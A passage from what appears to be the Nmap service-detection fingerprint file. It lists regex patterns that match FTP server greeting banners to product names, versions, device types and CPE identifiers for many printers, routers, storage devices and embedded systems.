Version ([\w.]+) ready\.\r\n| p/Minolta PagePro 20 printer ftpd/ v/$1/ cpe:/h:minolta:pagepro_20/a match ftp m|^220 tandem FTP SERVER \w+ \(Version ([\w.]+) TANDEM \w+\) ready\.\r\n| p/Tandem FTP server/ v/$1/ i/Tandem Himalaya K2000/ o/GuardianOS/ cpe:/o:tandem:guardian/ match ftp m|^220 ZBR-(\d+) Version ([\d.]+) ready\.\r\n| p/Zebra print server ftpd/ v/$2/ i/firmware $1/ match ftp m|^220 ([\w._-]+) pSOSystem FTP server \(@\(#\)\(#\)pVER IA/MIPS, Version ([\w._ -]+), Built on ([\d/]+)\) ready\.\r\n| p/pSOSystem ftpd/ v/$2/ i/MIPS; build date $3/ o/pSOS/ h/$1/ cpe:/o:scg:psos/ match ftp m|^220 ([\w._-]+) pSOSystem FTP server \(@\(#\)\(#\)pVER IA/PPC, Version ([\w._ -]+), Built on ([\d/]+)\) ready\.\r\n| p/pSOSystem ftpd/ v/$2/ i/PowerPC; build date $3/ o/pSOS/ h/$1/ cpe:/o:scg:psos/ match ftp m|^220 ([\w._-]+) pSOSystem FTP server \(Network Utilities for /68k-MRI/([\w._-]+) - Network Utility\) ready\.\r\n| p/pSOSystem ftpd/ v/$2/ i/m68k/ o/pSOS/ h/$1/ cpe:/o:scg:psos/ match ftp m|^220 Star IFBD-HE05/06 FTP Server\.\r\n| p/Star Micronics TSP828L printer ftpd/ d/printer/ cpe:/h:starmicronics:tsp828l/a match ftp m|^220 Welcome to Baby FTP Server\r\n| p/Baby FTP Server/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 ([\w_.-]+) FTP server \(witelcom ([\d.]+)\) ready\r\n| p/Witelcom router ftpd/ v/$2/ d/router/ h/$1/ match ftp m|^220 SwiFTP ready\r\n| p/SwiFTP/ i/Android phone/ d/phone/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 SwiFTP ([\w._-]+) ready\r\n| p/SwiFTP/ v/$1/ i/Android phone/ d/phone/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 EFI FTP Print server ready\.\r\n| p/EFI Fiery ftpd/ d/print server/ match ftp m|^220 infotec IS (\d+) FTP server \(([\w.]+)\) ready\.\r\n| p/Infotec IS $1 ftpd/ v/$2/ match ftp m|^220- Print Server ([\d.]+ \([^)]*\))\r\n220 FTP server \(Version ([^)]*)\) ready\.\r\n| p/Roland plotter print server ftpd/ v/$2/ i/print server version $1/ match ftp m|^220 FTP Server \(ZyWALL (USG \w+)\) \[[\w._-]+\]\r\n| p/ZyWALL $1 firewall ftpd/ d/firewall/ match ftp m|^220 Connected to IndiFTPD\r\n| p/IndiFTPD/ match ftp m|^220 EasyCoder FTP Server v\.([\d.]+) ready\.\r\n| p/Intermec PM4i printer ftpd/ v/$1/ d/printer/ cpe:/h:intermec:pm4i/a match ftp m|^220 ALFTP Server ready\. \^-\^\)/~\r\n| p/ALFTP/ match ftp m|^220 ftp server corona \(([\w._-]+)\)\r\n| p/THEOS Corona ftpd/ v/$1/ o/THEOS/ cpe:/o:theos:theos/ match ftp m|^220 vxTarget FTP server \(VxWorks ([\d.]+)\) ready\.\r\n| p/vxTarget ftpd/ i/VxWorks $1/ o/VxWorks/ cpe:/o:windriver:vxworks:$1/ match ftp m|^220-Welcome to the S60 Dumb FTP Server \(dftpd\)\r\n| p/Dumb FTP Server (dftpd)/ d/phone/ o/Symbian/ cpe:/o:symbian:symbian/ match ftp m|^220-Local time is now [\d:]+\r\n220 You will be disconnected after 300 seconds of inactivity\.\r\n| p/DViCO TVIX 6500A set top box ftpd/ d/media device/ match ftp m|^220 ET(\w+) ([\w-]+) Series FTP Server ready\.\r\n| p/Lexmark $2 series printer ftpd/ i/MAC: $1/ d/printer/ match ftp m|^220 aFTPServer ready \(cwd is /\)\r\n$| p/FTPServer/ d/phone/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 BCB1COOL Server \(Proftpd FTP Server\) \[([\w._-]+)\]\r\n| p/ProFTPD/ h/$1/ cpe:/a:proftpd:proftpd/ match ftp m|^220 FTP version ([\w.]+)\r\n| p/DrayTek Vigor ADSL router ftpd/ v/$1/ d/broadband router/ match ftp m|^220 FTP version ([\w.]+)\r\n331 Enter PASS command\r\n$| p/DrayTek Vigor ADSL router ftpd/ v/$1/ d/broadband router/ match ftp m|^220 Core FTP Server Version ([\w._-]+, build \d+), installed (\d+ days ago) Registered\r\n| p/Core FTP Server/ v/$1/ i/installed $2/ cpe:/a:coreftp:core_ftp:$1/ match ftp m|^220 Core FTP Server Version ([\w._-]+, build \d+) Registered\r\n| p/Core FTP Server/ v/$1/ cpe:/a:coreftp:core_ftp:$1/ match ftp m|^220-.*\r\n220 ([\w._-]+) FTP Server \(Apache/([\w._-]+) \(Linux/SUSE\)\) ready\.\r\n| p/Apache mod_ftpd/ v/$2/ o/Linux/ h/$1/ cpe:/a:apache:http_server/ cpe:/o:linux:linux_kernel/a match ftp m|^220 pyftpdlib ([\w._-]+) ready\.\r\n| p/pyftpdlib/ v/$1/ cpe:/a:giampaolo_rodola:pyftpdlib/ match ftp m|^220 pyftpdlib based ftpd ready\.\r\n| p/pyftpdlib/ v/1.0.0 or later/ cpe:/a:giampaolo_rodola:pyftpdlib/ match ftp m|^220 pyftpdlib (\d[\w._-]*) based ftpd ready\.\r\n| p/pyftpdlib/ v/$1/ cpe:/a:giampaolo_rodola:pyftpdlib:$1/ match ftp m|^220 Simple FTP daemon coming up!\r\n| p/A+V Link NVS-4000 surveillance system ftpd/ d/webcam/ match ftp m|^220 DiskStation FTP server ready\.\r\n| p/Synology DiskStation NAS ftpd/ d/storage-misc/ match ftp m|^220 DiskStation-([\w._-]+) FTP server ready\.\r\n| p/Synology Disk Station DS-$1 NAS ftpd/ d/storage-misc/ # "1.0" number doesn't seem to reflect the true version number. match ftp m=^220- Ftp Site Powerd by BigFoolCat Ftp Server 1\.0 \(meishu1981@(?:163\.com|gmail\.com)\)\r\n220- Welcome to my ftp server\r\n220 \r\n= p/EasyFTP Server ftpd/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 <\w+> Tenor Multipath Switch FTP server \(Version VxWorks([\w._-]+)\) ready\.\r\n| p/Tenor Multipath Switch ftpd/ d/switch/ o/VxWorks $1/ cpe:/o:windriver:vxworks:$1/ match ftp m|^220 Welcome to Tenor Multipath Switch\.\r\n| p/Tenor Multipath Switch ftpd/ d/switch/ match ftp m|^220 Imagistics ZB3500080 Ver ([\w._-]+) FTP server\.\r\n| p/Sharp AR-C260M or AR-M351N printer ftpd/ v/$1/ d/printer/ match ftp m|^220 ([\w._-]+) FTP SERVER T9552G07 \(Version ([\w._-]+) TANDEM ([\w._-]+)\) ready\.\r\n| p/HP Tandem NonStop ftpd/ v/$2 $3/ h/$1/ match ftp m|^220 iFTP server v([\w._-]+)\n| p/inLighten iBox digital signage ftpd/ v/$1/ d/media device/ match ftp m|^120 The user queue is full, please try again later\.\r\n| p/Huawei Quidway AR28-09 WAP ftpd/ i/user queue is full/ d/WAP/ cpe:/h:huawei:quidway_ar28-09/a match ftp m|^220 Mabry \(FtpServX COM Object\) server ready\.\r\n| p/Mabry FTPServX/ match ftp m|^220 ([\w._-]+) FTP server \(InterCon version ([\w._-]+)\) ready\.\r\n| p/Kyocera Mita TASKalfa 300ci printer ftpd/ v/$2/ h/$1/ cpe:/h:kyocera:mita_taskalfa_300ci/a match ftp m|^220 [\w._-]+Citizen_CLP([\w._-]+) FTP server \(InterCon version ([\w._-]+)\) ready\.\n| p/Citizen CLP-$1 label printer ftpd/ v/$2/ d/printer/ match ftp m|^220 FileApp - FTP Server\r\n| p/DigiDNA FileApp ftpd/ o/iOS/ cpe:/o:apple:iphone_os/a match ftp m=^220 (?:SHARP|Sharp) ([\w._-]+) Ver ([\w._+-]+) FTP server\.\r\n= p/Sharp $1 printer ftpd/ v/$2/ cpe:/h:sharp:$1/a match ftp m|^220 Nucleus FTP Server \(Version ([\w._-]+)\) ready\.\r\n| p/Nucleus ftpd/ v/$1/ match ftp m|^220 -= HyNetOS FTP Server =-\r\n500 Command \(null\) not understood\r\n| p/HyNetOS ftpd/ cpe:/o:hyperstone:hynetos/ match ftp m|^230 User logged in\.\r\n214-The following commands are recognized\.\r\n214-USER\r\n214-PASS\r\n214-XPWD\r\n214-PWD\r\n214-TYPE\r\n214-PORT\r\n214-EPRT\r\n214-PASV\r\n214-EPSV\r\n214-ALLO\r\n214-STOR\r\n214-APPE\r\n214-RETR\r\n214-LIST\r\n214-NLST\r\n214-SYST\r\n214-MDTM\r\n214-XCWD\r\n214-CWD\r\n214-XCUP\r\n214-CDUP\r\n214-DELE\r\n214-XMKD\r\n214-MKD\r\n214-XRMD\r\n214-RMD\r\n214-NOOP\r\n214-RNFR\r\n214-RNTO\r\n214-REST\r\n214-SIZE\r\n214-QUIT\r\n214-HELP\r\n214-STAT\r\n214-SITE\r\n214-FEAT\r\n214-ADMIN_LOGIN\r\n214-MGET\r\n214-MPUT\r\n214-OPTS\r\n214 End of help\r\n$| p/Netgear 3500L WAP ftpd/ d/WAP/ cpe:/h:netgear:3500l/a match ftp m|^220-\*{53}\r\n220-Welcome to FTP\r\n220-Please use your email address and password to login\.\r\n220-If you are registered for more than one site then your login name must be: yourcompany\.com/you@youremail\.com\.\r\n220-\*{53}\r\n220-\r\n220 FTP Server Ready\r\n| p/Adobe Business Catalyst CMS ftpd/ match ftp m|^220 Welcome to the ftp service\r\n| p/Dionaea honeypot ftpd/ match ftp m|^220 silex ([\w._-]+) Ver ([\w._-]+) FTP server\.\r\n| p/Silex $1 USB server ftpd/ v/$2/ match ftp m|^220-Tracker RIA, 12090011\r\n220-Local time ([\d:]+)\r\n220 You will be disconnected after 180 seconds of inactivity\.\r\n| p/Bomara Tracker 2740 multipurpose server ftpd/ i/local time: $1/ match ftp m|^220 Comau ([\w._-]+) FTP server \(Version ([\w._-]+); Sys_id:([\w._-]+)\) [\d-]+ ready\.\r\n| p/Comau $1 robot control unit ftpd/ v/$2/ i/system id: $3/ d/specialized/ match ftp m|^220 CW([\w._-]+) FTP Service \(Version ([\w._-]+)\)\.\r\n| p/Océ ColorWave $1 printer ftpd/ v/$2/ d/printer/ match ftp m|^220 CONNECT:Enterprise Gateway ([\w._-]+)\. FTP Server ready\.\.\.\r\n| p/Sterling Connect:Enterprise ftpd/ v/$1/ cpe:/a:ibm:sterling_connect:$1/ match ftp m|^220-Playstation 3 FTP \r\n220 Copyleft \(c\) \d+ multiMAN \(login as anonymous\) \r\n| p/multiMAN ftpd/ i/PlayStation 3/ d/game console/ match ftp m|^220 ([\w._-]+) (BV[\w._-]+) FTP server \(V([\w._-]+)\) ready\.\r\n| p/OKI $2 VoIP adapter ftpd/ v/$3/ d/VoIP adapter/ h/$1/ match ftp m|^220 ([\w._-]+) \(Libra FTP daemon ([\w._ -]+)\)\r\n| p/Libra ftpd/ v/$2/ h/$1/ match ftp m|^220 (KM-[\w._-]+) FTP server\r\n| p/Kyocera Mita $1 printer ftpd/ d/printer/ cpe:/h:kyocera:mita_$1/a match ftp m|^220 Welcome to Solar FTP Server \(http://solarftp\.com\)\r\n| p/Solar FTP Server/ o/Windows/ cpe:/o:microsoft:windows/ match ftp m|^220 Indy FTP-Server bereit\.\r\n| p/Indy FTP server/ i/German/ cpe:/a:indy:ftp_server::::de/ match ftp m|^220-Welcome to the Ascotel FTP server\r\n220 \r\n| p/Aastra A150 VoIP phone ftpd/ d/VoIP phone/ cpe:/h:aastra:a150/a match ftp m|^220 \(none\) FTP server \(Version ([\w._-]+/OpenBSD/Linux-ftpd-[\w._-]+)\) ready\.\r\n| p/Topfield TF7100HDPVRt DVR ftpd/ v/$1/ d/media device/ match ftp m|^220 EthernetBoard OkiLAN ([\w._-]+) Ver ([\w._-]+) FTP server\.\r\n| p/OkiDATA OkiLAN $1 print server ftpd/ v/$2/ d/print server/ match ftp m|^220 Comtrend FTP firmware update utility\r\n| p/Comtrend FTP firmware update utility/ match ftp m|^220 Wing FTP Server ([\w._-]+) ready\.\.\.\r\n| p/Wing FTP Server/ v/$1/ cpe:/a:wingftp:wing_ftp_server:$1/ match ftp m|^220 Wing FTP Server ready\.\.\. \(UNREGISTERED WING FTP SERVER\)\r\n| p/Wing FTP Server/ i/unregistered/ cpe:/a:wingftp:wing_ftp_server/ match ftp m|^220 Wing FTP Server ready\.\.\.\r\n| p/Wing FTP Server/ cpe:/a:wingftp:wing_ftp_server/ match ftp m|^220-\xa1\xee Sonic FTP Server \(Version ([\w._-]+)\)\.\r\n220-\xa1\xee | p/Sonic FTP Server/ v/$1/ match ftp m|^220 Aos FTP Server ready\.\r\n| p/A2 ftpd/ o/A2/ cpe:/o:eth:a2/ match ftp m|^220 Serveur FTP ::ffff:[\d.]+ pr\xc3\xaat\r\n| p/ProFTPD/ i/French/ cpe:/a:proftpd:proftpd::::fr/ match ftp m|^220 FreeFloat Ftp Server \(Version ([\w._-]+)\)\.\r\n| p/FreeFloat ftpd/ v/$1/ o/Windows/ cpe:/a:freefloat:freefloat_ftp_server:$1/ cpe:/o:microsoft:windows/ match ftp m|^220 FreeFlow Accxes FTP server ready\r\n| p/Xerox FreeFlow Accxess ftpd/ d/print server/ cpe:/a:xerox:freeflow_print_server/ match ftp m|^220 [\d.]+ FTP Server \(Apache/([\w._-]+) \(Ubuntu\) (.*)\) ready\.\r\n| p/Apache FTP Protocol Module/ v/$1/ i/Ubuntu; $2/ o/Linux/ cpe:/o:canonical:ubuntu_linux/ cpe:/o:canonical:ubuntu_linux/ cpe:/o:linux:linux_kernel/ match ftp m|^220 Welcome to This FTP Server\. Service ready for new user\.\r\n214-The following commands are recognised:\r\nUSER\r\nPASS\r\nCWD\r\nQUIT\r\nTYPE\r\nPORT\r\nRETR\r\nSTOR\r\nSTOU\r\nAPPE\r\nRNFR\r\nRNTO\r\nABOR\r\nDELE\r\nCDUP\r\nRMD\r\nMKD\r\nPWD\r\nLIST\r\nNLST\r\nHELP\r\nNOOP\r\nXCUP\r\nXCWD\r\nXPWD\r\nXRMD\r\nXMKD\r\n214 List End\.\r\n| p/Toshiba CTX PBX ftpd/ d/PBX/ match ftp m|^220 Wind River FTP server ([\w._-]+) ready\.\r\n| p/Wind River FTP server/ v/$1/ o/VxWorks/ cpe:/a:windriver:ftp_server:$1/ cpe:/o:windriver:vxworks/ match ftp m|^220 FTP Server \(ZyWALL (USG \w+)\) \[[a-f:\d.]+\]\r\n| p/ZyXEL ZyWALL $1 firewall ftpd/ cpe:/h:zyxel:zywall_$1/ match ftp m|^220 Authentication_Required\r\n| p/glFTPd/ o/Unix/ match ftp m|^220 Ftp firmware update utility\r\n| p|D-Link/Comtrend DSL modem ftp firmware update| match ftp m|^550 Permission denied ,please check access control list\r\nPermission denied\.\(Please check access control list\)\r\n| p/DrayTek ADSL router ftpd/ match ftp m|^220 RIEDEL Artist FTP Server\r\n| p/Riedel Artist intercom system ftpd/ cpe:/h:riedel:artist/ match ftp m|^220 (ZXDSL [\w._-]+) FTP version ([\w._-]+) ready at .*\r\n| p/ZyXEL $1 ADSL modem ftpd/ v/$2/ d/broadband router/ cpe:/h:zyxel:$1/ match ftp m|^ - error: no valid servers configured\n - Fatal: error processing configuration file '/etc/proftpd/proftpd\.conf'\n$| p/ProFTPD/ cpe:/a:proftpd:proftpd/ match ftp m|^220 SoftDataCable ([\w._-]+) ready\r\n| p/Software Data Cable ftpd/ v/$1/ match ftp m|^220 Operation successful\r\n$| p/BusyBox ftpd/ i/D-Link DCS-932L IP-Cam camera/ d/webcam/ cpe:/a:busybox:busybox/ cpe:/h:dlink:dcs-932l/ match ftp m|^220-\*\*\* Running an unlicensed copy of TurboFTP Server \*\*\*\r\n220 TurboFTP Server ([\w._-]+) ready\.\r\n| p/TurboSoft TurboFTP/ v/$1/ o/Windows/ cpe:/a:turbosoft:turboftp:$1/ cpe:/o:microsoft:windows/a match ftp m|^200 Welcome to BarracudaBackupFTPd\.\r\n| p/Barracuda Backup 490 appliance ftpd/ d/storage-misc/ match ftp m|^220 awaiting Input\r\n| p/Encrypted FTP/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 Welcome to the Cisco (TelePresence MCU [\w._-]+), version ([\w._()-]+)\r\n| p/Cisco $1 videoconferencing bridge/ v/$2/ d/VoIP adapter/ cpe:/h:cisco:$1/ match ftp m|^220 Multicraft ([\w._-]+) FTP server\r\n| p/Multicraft ftpd/ v/$1/ match ftp m|^220 [\d.]+ BECO FTP server \(Version ([\w._-]+)\) ready\.\r?\n| p/Kaba B-web 93 00 timeclock ftpd/ v/$1/ match ftp m|^220-TiMOS-B-([\w._-]+) both/hops ALCATEL SR ([\w._-]+) Copyright \(c\) \d+-\d+ Alcatel-Lucent\.\r\n220-All rights reserved\. All use subject to applicable license agreements\.\r\n220-Built on (.*) by builder in /rel[\w._-]+/[\w._-]+/[\w._-]+/panos/main\r\n220-\r\n220-This is a Maxcom, system restricted to authorized individuals\. This system is subject to monitoring\. Unauthorized users, access, and/or modification will be prosecuted\.\r\n220 FTP server ready\r\n| p/Alcatel $2 Service Router ftpd/ i/build date: $3/ d/router/ o/TiMOS $1/ cpe:/h:alcatel:$2_service_router/ cpe:/o:alcatel:timos:$1/ match ftp m|^220 ASTRA-Super FTP server ready\.\r\n$| p/Ishida Astra counter-top scale ftpd/ match ftp m|^220 ucftpd FTP server ready\.\r\n| p/MontaVista ucftpd/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 Welcome to Stupid-FTPd server\.\r\n| p/Stupid-FTPd/ cpe:/a:cinek:stupid-ftpd/ match ftp m|^220 FTP v([\d.]+) at ([\w.-]+) ready\.\r\n| p/OpenRG ftpd/ v/$1/ d/broadband router/ h/$2/ match ftp m|^220 FRITZ!Box(\w+)\(kdg\) FTP server ready\.\r\n| p/AVM FRITZ!Box ftpd/ i/model: $1; Kabel Deutschland/ d/broadband router/ match ftp m|^220-Welcome to cc-ftpd\.\r\n220-You are user number (\d+ of \d+) allowed\.\r\n220-Local time is now ([\d:]+)\. Server port: \d+\.\r\n220-This is a private system - No anonymous login\r\n220-IPv6 connections are also welcome on this server\.\r\n220 You will be disconnected after 15 minutes of inactivity\.\r\n| p/Centova Cast ftpd/ i/user $1; local time $2/ match ftp m|^220 ([\w.-]+) FTP server \(QNXNTO-ftpd (\d{8})\) ready\.\r\n| p/QNX ftpd/ v/$2/ o/QNX/ h/$1/ cpe:/o:qnx:qnx/a match ftp m|^220-Cerberus FTP Server - Home Edition\r\n220-This is the UNLICENSED Home Edition and may be used for home, personal use only\r\n220-Welcome to Cerberus FTP Server\r\n220 Created by Cerberus, LLC\r\n| p/Cerberus FTP Server/ i/Home Edition/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220-220-Welcome to Cerberus FTP Server\r\n220 220 Created by Cerberus, LLC\r\n| p/Cerberus FTP Server/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220-Welcome to Cerberus FTP Server\r\n220 Created by Cerberus, LLC\r\n| p/Cerberus FTP Server/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220-Welcome to my Server\r\n220-\r\n220 ICS FTP Server ready\.\r\n| p/Overbyte Internet Component Suite ftpd/ match ftp m|^220 ADAM2 FTP Server ready\r\n| p/Texas Instruments ADAM2 bootloader ftpd/ match ftp m|^220-Idea FTP Server v([\d.]+) \(([\w.-]+)\) \[[\d.]+\]\r\n220 Ready\r\n| p/home.pl Idea ftpd/ v/$1/ h/$2/ match ftp m|^220 ([\w.-]+) Lexmark ([\w]+) FTP Server ([\w.-]+) ready\.\r\n| p/Lexmark printer ftpd/ v/$3/ i/model $2/ h/$1/ cpe:/h:lexmark:$2/ match ftp m|^220 FTP Utility FTP server \(Version ([\d.]+)\) ready\.\r\n| p/Konica Minolta FTP Utility ftpd/ v/$1/ match ftp m|^220 PocketPro (\w+) FTP server ready\.\r\n| p/TROY PocketPro $1 print server ftpd/ match ftp m|^220 FTP Version ([\d.]+) on (IQ\w+)\r\n| p/IQinVision IQeye ftpd/ v/$1/ i/model $2/ match ftp m|^220 FRITZ!Box(\d+\w*(?:\(UI\))?) FTP server ready\.\r\n| p/AVM FRITZ!Box ftpd/ i/model $1/ d/broadband router/ match ftp m|^220 220 RMNetwork FTP\r\n$| p/Ramnit worm ftpd/ i/malware/ match ftp m|^220 Monarch (\d+) Print Adapter FTP server ready\.\r\n| p/Avery-Dennison Monarch $1 print server ftpd/ match ftp m|^220-TCP/IP for VSE Internal FTPDAEMN ([\d.]+ ?[A-Z]) (\d{8}) \d\d\.\d\d\r\n Copyright \(c\) 1995,2006 Connectivity Systems Incorporated\r\n220 Ready for new user\r\n| p|IBM z/VSE ftpd| v/$1/ i/build date $2/ o|z/VSE| cpe:/o:ibm:z%2fvse/ match ftp m|^220- \r\n {14}_/_/_/_/ \*\*\* eXo Platform JCR FTP Server {8}_/_/_/_/\r\n| p/eXo Platform JCR ftpd/ match ftp m|^220 RT-IP FTP Server ready\. Type HELP for help\r\n| p/Computer Solutions RT-IP ftpd/ match ftp m|^220 Welcome to ([\w.-]+)'s Everything ETP Server version ([\d.]+)\r\n| p|Everything ETP/FTP server| v/$2/ h/$1/ match ftp m|^220 Welcome to HD Media Box !\r\n| p|O2Media/Ellion HMR-600 ftpd| d/media device/ # SurgeFTP 2.3a3 match ftp m|^550 There is no place for you to log in\. Create domain for IP [\d.]+\.\r\n| p/NetWin SurgeFTP ftpd/ cpe:/a:netwin:surgeftp/ match ftp m|^220 SAVIN (\w+) FTP server \(([\d.]+)\) ready\.\r\n| p/Savin printer ftpd/ v/$2/ i/model $1/ d/printer/ cpe:/h:savin:$1/ match ftp m|^220 ([\w.-]+) FTP server \(StarOS\) ready\.\r\n| p/Cisco StarOS ftpd/ o/StarOS/ h/$1/ cpe:/o:cisco:staros/ match ftp m|^220- FTP Server \(RTOS-UH\) ready\. \(c\)IEP Version: ([\d.]+)\r\n220 Connection is automatically closed if idle for 10 Minutes\r\n| p/RTOS-UH ftpd/ v/$1/ o/RTOS-UH/ cpe:/o:universitathanover:rtos-uh/ match ftp m|^220 iosFtp server ready\.\r\n| p/ios-ftp-server ftpd/ o/iOS/ cpe:/o:apple:iphone_os/ match ftp m|^220 SP (C?\d+\w*) \([a-f0-9]+\) FTP server ready\r\n| p/Ricoh Aficio SP $1 ftpd/ d/printer/ cpe:/h:ricoh:aficio_sp_$1/a match ftp m|^220 Sharp - NetScan Tool\r\n| p/Sharp Scan to Desktop ftpd/ match ftp m|^220 Welcome to ALPHA -FTPd server\.\r\n| p/Alpha ftpd/ match ftp m|^220 IPCamera FtpServer\(www\.maygion\.com\),do NOT change firmware unless you know what you are doing!\r\n| p/Maygion IPCamera ftpd/ d/webcam/ match ftp m|^220 AXIS ([\w._-]+) Video Encoder ([\w._-]+) \(\d\d\d\d\) ready\.\r\n| p/AXIS $1 video encoder ftpd/ v/$2/ d/media device/ match ftp m|^220 Star (IFBD-HE[\d/]+) FTP Server\.\r\n| p/Star $1 ftpd/ d/print server/ match ftp m|^220 Welcome to the HomeWorks Processor\r\n| p/Lutron HomeWorks ftpd/ # http://sourceforge.net/projects/open-ftpd/ match ftp m|^220- \*{29}\r\n {5}\*\* {8}Welcome on {7}\*\*\r\n {5}\* {5}Gabriel's FTP Server \*\r\n {5}\*\* {6}([\w./_-]+) Release \*\*\r\n220 \*{29}\r\n| p/Open-FTPD/ v/$1/ cpe:/a:gabmuf:open-ftpd:$1/ match ftp m|^220-Debian GNU/Linux (\d+)\r\n220 ProFTPD ([\w._-]+) Server | p/ProFTPD/ v/$2/ i/Debian $1/ o/Linux/ cpe:/a:proftpd:proftpd:$2/a cpe:/o:debian:debian_linux:$1/ cpe:/o:linux:linux_kernel/a match ftp m|^220 Praim Srl, ([\w._-]+) Ftp Server \(Version ([\w._-]+) \[[\w :]+\]\)\.\r\n| p/Praim thin terminal ftpd/ v/$2/ i/model: $1/ d/terminal/ cpe:/h:praim:$1/ match ftp m|^220 Harris BCD FTP Ready\r\n$| p/Harris FlexStar radio broadcast exciter ftpd/ d/specialized/ # http://www.foxgate.ua/downloads/FoxGate%20S6224-S2%20user%20manual.pdf match ftp m|^220 welcome your using ftp server\.\.\.\r\n| p/FoxGate switch ftpd/ d/switch/ match ftp m|^220 DSC ftpd 1\.0 FTP Server ready\.\r\n| p/Ricoh DC SR-10 ftpd/ o/Windows/ cpe:/a:ricoh:dc_software/ cpe:/o:microsoft:windows/a match ftp m|^220 FANUC FTP server ready\.\r\n| p/FANUC CNC controller ftpd/ d/specialized/ match ftp m|^220 VicFTPS ready\r\n| p/VicFTPS ftpd/ o/Windows/ cpe:/a:vicftps:vicftps/ cpe:/o:microsoft:windows/a match ftp m|^220-Wellcome to Home Ftp Server!\r\n220 FTP server ready\.\r\n| p/Home FTP Server/ o/Windows/ cpe:/a:ari_pikivirta:home_ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220 TASKalfa (\w+) FTP server\r\n| p/Kyocera TASKalfa copier ftpd/ i/model: $1/ cpe:/h:kyocera:taskalfa_$1/ match ftp m|^220 o2 MediaCenter FTP Server v([\w._-]+) ready\r\n| p/Astoria Networks o2 MediaCenter ftpd/ v/$1/ d/broadband router/ cpe:/h:astoria_networks:o2_mediacenter/ match ftp m|^220 MinWin FTP server ready\.\r\n| p/Microsoft MinWin ftpd/ o/Windows 10 IoT/ cpe:/o:microsoft:windows_10:::iot/ match ftp m|^220 Welcomd to iCatch FTP Server\r\n| p/iCatch DVR ftpd/ d/media device/ match ftp m|^220 PCMan's FTP Server ([\w._-]+) Ready\.\r\n| p/PCMan's FTP Server/ v/$1/ o/Windows/ cpe:/a:pcman%27s_ftp_server_project:pcman%27s_ftp_server:$1/ cpe:/o:microsoft:windows/a match ftp m|^220 FTP Server \((NXC\d+)\) \[[a-f:\d.]+\]\r\n| p/ZyXEL WLAN controller ftpd/ i/model: $1/ cpe:/h:zyxel:$1/ match ftp m|^220 IFT DS ([\w-]+) RAID FTP server ready\.\r\n| p/Infortrend EonStor DS iSCSI host ftpd/ i/model: $1/ d/storage-misc/ cpe:/h:infortrend:esds_$1/ match ftp m|^220 Synology FTP server ready\.\r\n| p/Synology DiskStation ftpd/ d/storage-misc/ match ftp m|^220-owftpd 1-wire ftp server -- Paul H Alfille\r\n220-Version: (\d[\w._-]*) see http://www\.owfs\.org\r\n220 Service ready for new user\.\r\n| p/OWFS owftpd/ v/$1/ cpe:/a:owfs:owftpd:$1/ match ftp m|^220 Firewall Authentication required before proceeding with service\r\n| p/FortiGate Application filtering/ match ftp m|^421 Your IP is banned, no further requests will be processed from this IP \([\d.]+\)\.\r\n| p/CrushFTP/ i/IP banned/ cpe:/a:crushftp:crushftp/ match ftp m|^220 RICOH ([A-Z 0-9]+) FTP server \(([\d.]+)\) ready\.\r\n| p/Ricoh printer ftpd/ v/$2/ i/model: $1/ cpe:/h:ricoh:$1/ match ftp m|^220 Femitter FTP Server ready\.\r\n| p/Acritum Femitter Server ftpd/ o/Windows/ cpe:/a:acritum:femitter_server/ cpe:/o:microsoft:windows/a match ftp m|^421-Could not open file /var/run/bftpdutmp\r\n421 Server disabled for security reasons\.\r\n| p/Bftpd/ i/disabled/ cpe:/a:jesse_smith:bftpd/ match ftp m|^220 Gameservers FTPD v([\d.]+)\r\n| p/Choopa GameServers.com ftpd/ v/$1/ match ftp m|^220 DSL Router FTP Server v([\d.]+) ready\r\n| p/Arcadyan DSL router ftpd/ v/$1/ match ftp m|^220 NRG MP (\d+) FTP server \(([\d.]+)\) ready\.\r\n| p/NRG printer ftpd/ v/$2/ i/model MP $1/ d/printer/ cpe:/h:nrg:mp_$1/ match ftp m|^220 StingRay FTP Server (\d[\w._-]+) ready to accept your commands\.\r\n| p/Hermstedt StingRay ftpd/ v/$1/ match ftp m|^220 Inspired Signage : ISPlayerFTPService-Default ready on Port : \d+\r\n| p/AMX Inspired Signage PlayerFTPService/ cpe:/a:amx:playerftpservice/ match ftp m|^220 Speedport W (\w+) FTP Server v([\d.]+) ready\r\n| p/Speedport WAP ftpd/ v/$2/ i/model: W$1/ d/WAP/ cpe:/h:speedport:w$1/ match ftp m|^421 Too many users logged in, closing control 421 Service not available, remote server has closed connection\r\n$| p/HP LaserJet 400 printer ftpd/ i/too many users/ d/printer/ cpe:/h:hp:laserjet_400/a match ftp m|^220 Welcome to the Eltek Power System FTP server\.\r\n| p/Eltek Power System ftpd/ d/power-misc/ match ftp m|^220 FUJI XEROX DocuPrint ([A-Z][A-Z\d]+(?: ?[a-zA-Z]{1,2})?)\r\n| p/Fuji Xerox DocuPrint $1 ftpd/ d/printer/ cpe:/h:fuji:xerox_docuprint_$1/a match ftp m|^421 Service not available \(server too busy\)\r\n| p/Fuji Xerox DocuPrint ftpd/ d/printer/ match ftp m|^220 ECOSYS (P\d\w+) FTP server\r\n| p/Ecosys $1 ftpd/ d/print server/ cpe:/h:ecosys:$1/ match ftp m|^220 FTPVita Server ready\.\n| p/FTPVita ftpd/ d/game console/ cpe:/h:sony:playstation_vita/ match ftp m|^220 FTP Server \((UAG\d+)\) \[[a-f:\d.]+\]\r\n| p/ZyXEL $1 Unified Access Gateway ftpd/ d/security-misc/ cpe:/h:zyxel:$1/ match ftp m|^220 Software Data Cable (\d[\w._-]*) ready\r\n| p/Software Data Cable ftpd/ v/$1/ o/Android/ cpe:/a:damiapp:software_data_cable:$1/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a match ftp m|^200 Groupcall Xporter - ([\d.]+)\r\n| p/Groupcall Xporter ftpd/ v/$1/ 